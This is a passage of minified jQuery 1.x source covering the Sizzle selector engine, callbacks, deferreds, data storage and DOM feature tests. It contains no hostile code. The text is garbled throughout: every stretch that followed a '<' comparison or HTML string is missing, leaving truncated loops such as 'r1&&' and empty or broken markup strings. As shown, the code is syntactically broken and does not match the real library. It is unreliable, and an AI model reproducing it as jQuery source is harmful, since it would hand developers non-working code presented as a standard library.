pe.nodeName(e,"table")&&pe.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function C(e){return e.type=(null!==pe.find.attr(e,"type"))+"/"+e.type,e}function E(e){var t=it.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function N(e,t){if(1===t.nodeType&&pe.hasData(e)){var n,r,i,o=pe._data(e),a=pe._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;r1&&"string"==typeof p&&!fe.checkClone&&rt.test(p))return e.each(function(i){var o=e.eq(i);g&&(t[0]=p.call(this,i,o.html())),S(o,t,n,r)});if(f&&(l=y(t,e[0].ownerDocument,!1,e,r),i=l.firstChild,1===l.childNodes.length&&(l=i),i||r)){for(s=pe.map(h(l,"script"),C),a=s.length;c")).appendTo(t.documentElement),t=(ut[0].contentWindow||ut[0].contentDocument).document,t.write(),t.close(),n=D(e,t),ut.detach()),lt[e]=n),n}function L(e,t){return{get:function(){return e()?void delete this.get:(this.get=t).apply(this,arguments)}}}function H(e){if(e in Et)return e;for(var t=e.charAt(0).toUpperCase()+e.slice(1),n=Ct.length;n--;)if(e=Ct[n]+t,e in Et)return e}function q(e,t){for(var n,r,i,o=[],a=0,s=e.length;a=0&&n=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==pe.type(e)||e.nodeType||pe.isWindow(e))return!1;try{if(e.constructor&&!ce.call(e,"constructor")&&!ce.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(!fe.ownFirst)for(t in e)return ce.call(e,t);for(t in e);return void 0===t||ce.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?ue[le.call(e)]||"object":typeof e},globalEval:function(t){t&&pe.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(ge,"ms-").replace(me,ye)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t){var r,i=0;if(n(e))for(r=e.length;iT.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[P]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=n.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||V)-(~e.sourceIndex||V);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function l(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function f(){}function d(e){for(var t=0,n=e.length,r="";t1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function g(e,n,r){for(var i=0,o=n.length;i-1&&(r[l]=!(a[l]=f))}}else x=m(x===a?x.splice(h,x.length):x),o?o(null,a,x,u):Q.apply(a,x)})}function v(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,u=p(function(e){return e===t},a,!0),l=p(function(e){return ee(t,e)>-1},a,!0),c=[function(e,n,r){var i=!o&&(r||n!==A)||((t=n).nodeType?u(e,n,r):l(e,n,r));return t=null,i}];s1&&h(c),s>1&&d(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(se,"$1"),n,s0,o=e.length>0,a=function(r,a,s,u,l){var c,f,d,p=0,h="0",g=r&&[],y=[],v=A,x=r||o&&T.find.TAG("*",l),b=W+=null==v?1:Math.random()||.1,w=x.length;for(l&&(A=a===H||a||l);h!==w&&null!=(c=x[h]);h++){if(o&&c){for(f=0,a||c.ownerDocument===H||(L(c),s=!_);d=e[f++];)if(d(c,a||H,s)){u.push(c);break}l&&(W=b)}i&&((c=!d&&c)&&p--,r&&g.push(c))}if(p+=h,i&&h!==p){for(f=0;d=n[f++];)d(g,y,a,s);if(r){if(p>0)for(;h--;)g[h]||y[h]||(y[h]=G.call(u));y=m(y)}Q.apply(u,y),l&&!r&&y.length>0&&p+n.length>1&&t.uniqueSort(u)}return l&&(W=b,A=v),g};return i?r(a):a}var b,w,T,C,E,N,k,S,A,D,j,L,H,q,_,F,M,O,R,P="sizzle"+1*new Date,B=e.document,W=0,I=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(j=!0),0},V=1<<31,Y={}.hasOwnProperty,J=[],G=J.pop,K=J.push,Q=J.push,Z=J.slice,ee=function(e,t){for(var n=0,r=e.length;n+~]|"+ne+")"+ne+"*"),ce=new RegExp("="+ne+"*([^\\]'\"]*?)"+ne+"*\\]","g"),fe=new RegExp(oe),de=new RegExp("^"+re+"$"),pe={ID:new RegExp("^#("+re+")"),CLASS:new RegExp("^\\.("+re+")"),TAG:new RegExp("^("+re+"|[*])"),ATTR:new RegExp("^"+ie),PSEUDO:new RegExp("^"+oe),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ne+"*(even|odd|(([+-]|)(\\d*)n|)"+ne+"*(?:([+-]|)"+ne+"*(\\d+)|))"+ne+"*\\)|)","i"),bool:new RegExp("^(?:"+te+")$","i"),needsContext:new RegExp("^"+ne+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ne+"*((?:-\\d)?\\d*)"+ne+"*\\)|)(?=[^-]|$)","i")},he=/^(?:input|select|textarea|button)$/i,ge=/^h\d$/i,me=/^[^{]+\{\s*\[native \w/,ye=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ve=/[+~]/,xe=/'|\\/g,be=new RegExp("\\\\([\\da-f]{1,6}"+ne+"?|("+ne+")|.)","ig"),we=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},Te=function(){L()};try{Q.apply(J=Z.call(B.childNodes),B.childNodes),J[B.childNodes.length].nodeType}catch(Ce){Q={apply:J.length?function(e,t){K.apply(e,Z.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},E=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},L=t.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:B;return r!==H&&9===r.nodeType&&r.documentElement?(H=r,q=H.documentElement,_=!E(H),(n=H.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",Te,!1):n.attachEvent&&n.attachEvent("onunload",Te)),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(H.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=me.test(H.getElementsByClassName),w.getById=i(function(e){return q.appendChild(e).id=P,!H.getElementsByName||!H.getElementsByName(P).length}),w.getById?(T.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&_){var n=t.getElementById(e);return n?[n]:[]}},T.filter.ID=function(e){var t=e.replace(be,we);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(be,we);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):w.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&_)return t.getElementsByClassName(e)},M=[],F=[],(w.qsa=me.test(H.querySelectorAll))&&(i(function(e){q.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&F.push("[*^$]="+ne+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+ne+"*(?:value|"+te+")"),e.querySelectorAll("[id~="+P+"-]").length||F.push("~="),e.querySelectorAll(":checked").length||F.push(":checked"),e.querySelectorAll("a#"+P+"+*").length||F.push(".#.+[+~]")}),i(function(e){var t=H.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+ne+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=me.test(O=q.matches||q.webkitMatchesSelector||q.mozMatchesSelector||q.oMatchesSelector||q.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",oe)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new RegExp(M.join("|")),t=me.test(q.compareDocumentPosition),R=t||me.test(q.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return j=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!w.sortDetached&&t.compareDocumentPosition(e)===n?e===H||e.ownerDocument===B&&R(B,e)?-1:t===H||t.ownerDocument===B&&R(B,t)?1:D?ee(D,e)-ee(D,t):0:4&n?-1:1)}:function(e,t){if(e===t)return j=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,s=[e],u=[t];if(!i||!o)return e===H?-1:t===H?1:i?-1:o?1:D?ee(D,e)-ee(D,t):0;if(i===o)return a(e,t);for(n=e;n=n.parentNode;)s.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;s[r]===u[r];)r++;return r?a(s[r],u[r]):s[r]===B?-1:u[r]===B?1:0},H):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(ce,"='$1']"),w.matchesSelector&&_&&!X[n+" "]&&(!M||!M.test(n))&&(!F||!F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!_):void 0;return void 0!==r?r:w.attributes||!_?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(j=!w.detectDuplicates,D=!w.sortStable&&e.slice(0),e.sort(U),j){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return D=null,e},C=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=C(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=C(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:pe,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(be,we),e[3]=(e[3]||e[4]||e[5]||"").replace(be,we),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return pe.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&fe.test(n)&&(t=N(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(be,we).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+ne+")"+e+"("+ne+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:!n||(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o.replace(ae," ")+" ").indexOf(r)>-1:"|="===n&&(o===r||o.slice(0,r.length+1)===r+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,d,p,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s,x=!1;if(m){if(o){for(;g;){for(d=t;d=d[g];)if(s?d.nodeName.toLowerCase()===y:1===d.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){for(d=m,f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}), +l=c[e]||[],p=l[0]===W&&l[1],x=p&&l[2],d=p&&m.childNodes[p];d=++p&&d&&d[g]||(x=p=0)||h.pop();)if(1===d.nodeType&&++x&&d===t){c[e]=[W,p,x];break}}else if(v&&(d=t,f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),l=c[e]||[],p=l[0]===W&&l[1],x=p),x===!1)for(;(d=++p&&d&&d[g]||(x=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==y:1!==d.nodeType)||!++x||(v&&(f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),c[e]=[W,x]),d!==t)););return x-=i,x===r||x%r===0&&x/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[P]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=ee(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=k(e.replace(se,"$1"));return i[P]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),t[0]=null,!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return e=e.replace(be,we),function(t){return(t.textContent||t.innerText||C(t)).indexOf(e)>-1}}),lang:r(function(e){return de.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(be,we).toLowerCase(),function(t){var n;do if(n=_?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===q},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return ge.test(e.nodeName)},input:function(e){return he.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:l(function(){return[0]}),last:l(function(e,t){return[t-1]}),eq:l(function(e,t,n){return[n<0?n+t:n]}),even:l(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:l(function(e,t,n){for(var r=n<0?n+t:n;++r2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&_&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(be,we),t)||[])[0],!t)return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=pe.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((u=T.find[s])&&(r=u(a.matches[0].replace(be,we),ve.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&d(o),!e)return Q.apply(n,r),n;break}}return(l||k(e,f))(r,t,!_,n,!t||ve.test(e)&&c(t.parentNode)||t),n},w.sortStable=P.split("").sort(U).join("")===P,w.detectDuplicates=!!j,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(te,function(e,t,n){var r;if(!n)return e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);pe.find=ve,pe.expr=ve.selectors,pe.expr[":"]=pe.expr.pseudos,pe.uniqueSort=pe.unique=ve.uniqueSort,pe.text=ve.getText,pe.isXMLDoc=ve.isXML,pe.contains=ve.contains;var xe=function(e,t,n){for(var r=[],i=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&pe(e).is(n))break;r.push(e)}return r},be=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},we=pe.expr.match.needsContext,Te=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,Ce=/^.[^:#\[\.,]*$/;pe.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?pe.find.matchesSelector(r,e)?[r]:[]:pe.find.matches(e,pe.grep(t,function(e){return 1===e.nodeType}))},pe.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(pe(e).filter(function(){for(t=0;t1?pe.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&we.test(e)?pe(e):e||[],!1).length}});var Ee,Ne=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,ke=pe.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||Ee,"string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:Ne.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof pe?t[0]:t,pe.merge(this,pe.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:re,!0)),Te.test(r[1])&&pe.isPlainObject(t))for(r in t)pe.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}if(i=re.getElementById(r[2]),i&&i.parentNode){if(i.id!==r[2])return Ee.find(e);this.length=1,this[0]=i}return this.context=re,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):pe.isFunction(e)?"undefined"!=typeof n.ready?n.ready(e):e(pe):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),pe.makeArray(e,this))};ke.prototype=pe.fn,Ee=pe(re);var Se=/^(?:parents|prev(?:Until|All))/,Ae={children:!0,contents:!0,next:!0,prev:!0};pe.fn.extend({has:function(e){var t,n=pe(e,this),r=n.length;return this.filter(function(){for(t=0;t-1:1===n.nodeType&&pe.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?pe.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?pe.inArray(this[0],pe(e)):pe.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(pe.uniqueSort(pe.merge(this.get(),pe(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),pe.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return xe(e,"parentNode")},parentsUntil:function(e,t,n){return xe(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return xe(e,"nextSibling")},prevAll:function(e){return xe(e,"previousSibling")},nextUntil:function(e,t,n){return xe(e,"nextSibling",n)},prevUntil:function(e,t,n){return xe(e,"previousSibling",n)},siblings:function(e){return be((e.parentNode||{}).firstChild,e)},children:function(e){return be(e.firstChild)},contents:function(e){return pe.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:pe.merge([],e.childNodes)}},function(e,t){pe.fn[e]=function(n,r){var i=pe.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=pe.filter(r,i)),this.length>1&&(Ae[e]||(i=pe.uniqueSort(i)),Se.test(e)&&(i=i.reverse())),this.pushStack(i)}});var De=/\S+/g;pe.Callbacks=function(e){e="string"==typeof e?o(e):pe.extend({},e);var t,n,r,i,a=[],s=[],u=-1,l=function(){for(i=e.once,r=t=!0;s.length;u=-1)for(n=s.shift();++u-1;)a.splice(n,1),n<=u&&u--}),this},has:function(e){return e?pe.inArray(e,a)>-1:a.length>0},empty:function(){return a&&(a=[]),this},disable:function(){return i=s=[],a=n="",this},disabled:function(){return!a},lock:function(){return i=!0,n||c.disable(),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=n||[],n=[e,n.slice?n.slice():n],s.push(n),t||l()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},pe.extend({Deferred:function(e){var t=[["resolve","done",pe.Callbacks("once memory"),"resolved"],["reject","fail",pe.Callbacks("once memory"),"rejected"],["notify","progress",pe.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return pe.Deferred(function(n){pe.each(t,function(t,o){var a=pe.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&pe.isFunction(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?pe.extend(e,r):r}},i={};return r.pipe=r.then,pe.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=ie.call(arguments),a=o.length,s=1!==a||e&&pe.isFunction(e.promise)?a:0,u=1===s?e:pe.Deferred(),l=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?ie.call(arguments):i,r===t?u.notifyWith(n,r):--s||u.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);i0||(je.resolveWith(re,[pe]),pe.fn.triggerHandler&&(pe(re).triggerHandler("ready"),pe(re).off("ready"))))}}),pe.ready.promise=function(t){if(!je)if(je=pe.Deferred(),"complete"===re.readyState||"loading"!==re.readyState&&!re.documentElement.doScroll)e.setTimeout(pe.ready);else if(re.addEventListener)re.addEventListener("DOMContentLoaded",s),e.addEventListener("load",s);else{re.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&re.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!pe.isReady){try{n.doScroll("left")}catch(t){return e.setTimeout(i,50)}a(),pe.ready()}}()}return je.promise(t)},pe.ready.promise();var Le;for(Le in pe(fe))break;fe.ownFirst="0"===Le,fe.inlineBlockNeedsLayout=!1,pe(function(){var e,t,n,r;n=re.getElementsByTagName("body")[0],n&&n.style&&(t=re.createElement("div"),r=re.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),"undefined"!=typeof t.style.zoom&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",fe.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=re.createElement("div");fe.deleteExpando=!0;try{delete e.test}catch(t){fe.deleteExpando=!1}e=null}();var He=function(e){var t=pe.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return(1===n||9===n)&&(!t||t!==!0&&e.getAttribute("classid")===t)},qe=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,_e=/([A-Z])/g;pe.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?pe.cache[e[pe.expando]]:e[pe.expando],!!e&&!l(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return f(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return f(e,t,!0)}}),pe.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=pe.data(o),1===o.nodeType&&!pe._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=pe.camelCase(r.slice(5)),u(o,r,i[r])));pe._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){pe.data(this,e)}):arguments.length>1?this.each(function(){pe.data(this,e,t)}):o?u(o,e,pe.data(o,e)):void 0},removeData:function(e){return this.each(function(){pe.removeData(this,e)})}}),pe.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=pe._data(e,t),n&&(!r||pe.isArray(n)?r=pe._data(e,t,pe.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=pe.queue(e,t),r=n.length,i=n.shift(),o=pe._queueHooks(e,t),a=function(){pe.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return pe._data(e,n)||pe._data(e,n,{empty:pe.Callbacks("once memory").add(function(){pe._removeData(e,t+"queue"),pe._removeData(e,n)})})}}),pe.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length
      a",fe.leadingWhitespace=3===e.firstChild.nodeType,fe.tbody=!e.getElementsByTagName("tbody").length,fe.htmlSerialize=!!e.getElementsByTagName("link").length,fe.html5Clone="<:nav>"!==re.createElement("nav").cloneNode(!0).outerHTML,n.type="checkbox",n.checked=!0,t.appendChild(n),fe.appendChecked=n.checked,e.innerHTML="",fe.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue,t.appendChild(e),n=re.createElement("input"),n.setAttribute("type","radio"),n.setAttribute("checked","checked"),n.setAttribute("name","t"),e.appendChild(n),fe.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.noCloneEvent=!!e.addEventListener,e[pe.expando]=1,fe.attributes=!e.getAttribute(pe.expando)}();var Xe={option:[1,""],legend:[1,"
      ","
      "],area:[1,"",""],param:[1,"",""],thead:[1,"","
      "],tr:[2,"","
      "],col:[2,"","
      "],td:[3,"","
      "],_default:fe.htmlSerialize?[0,"",""]:[1,"X
      ","
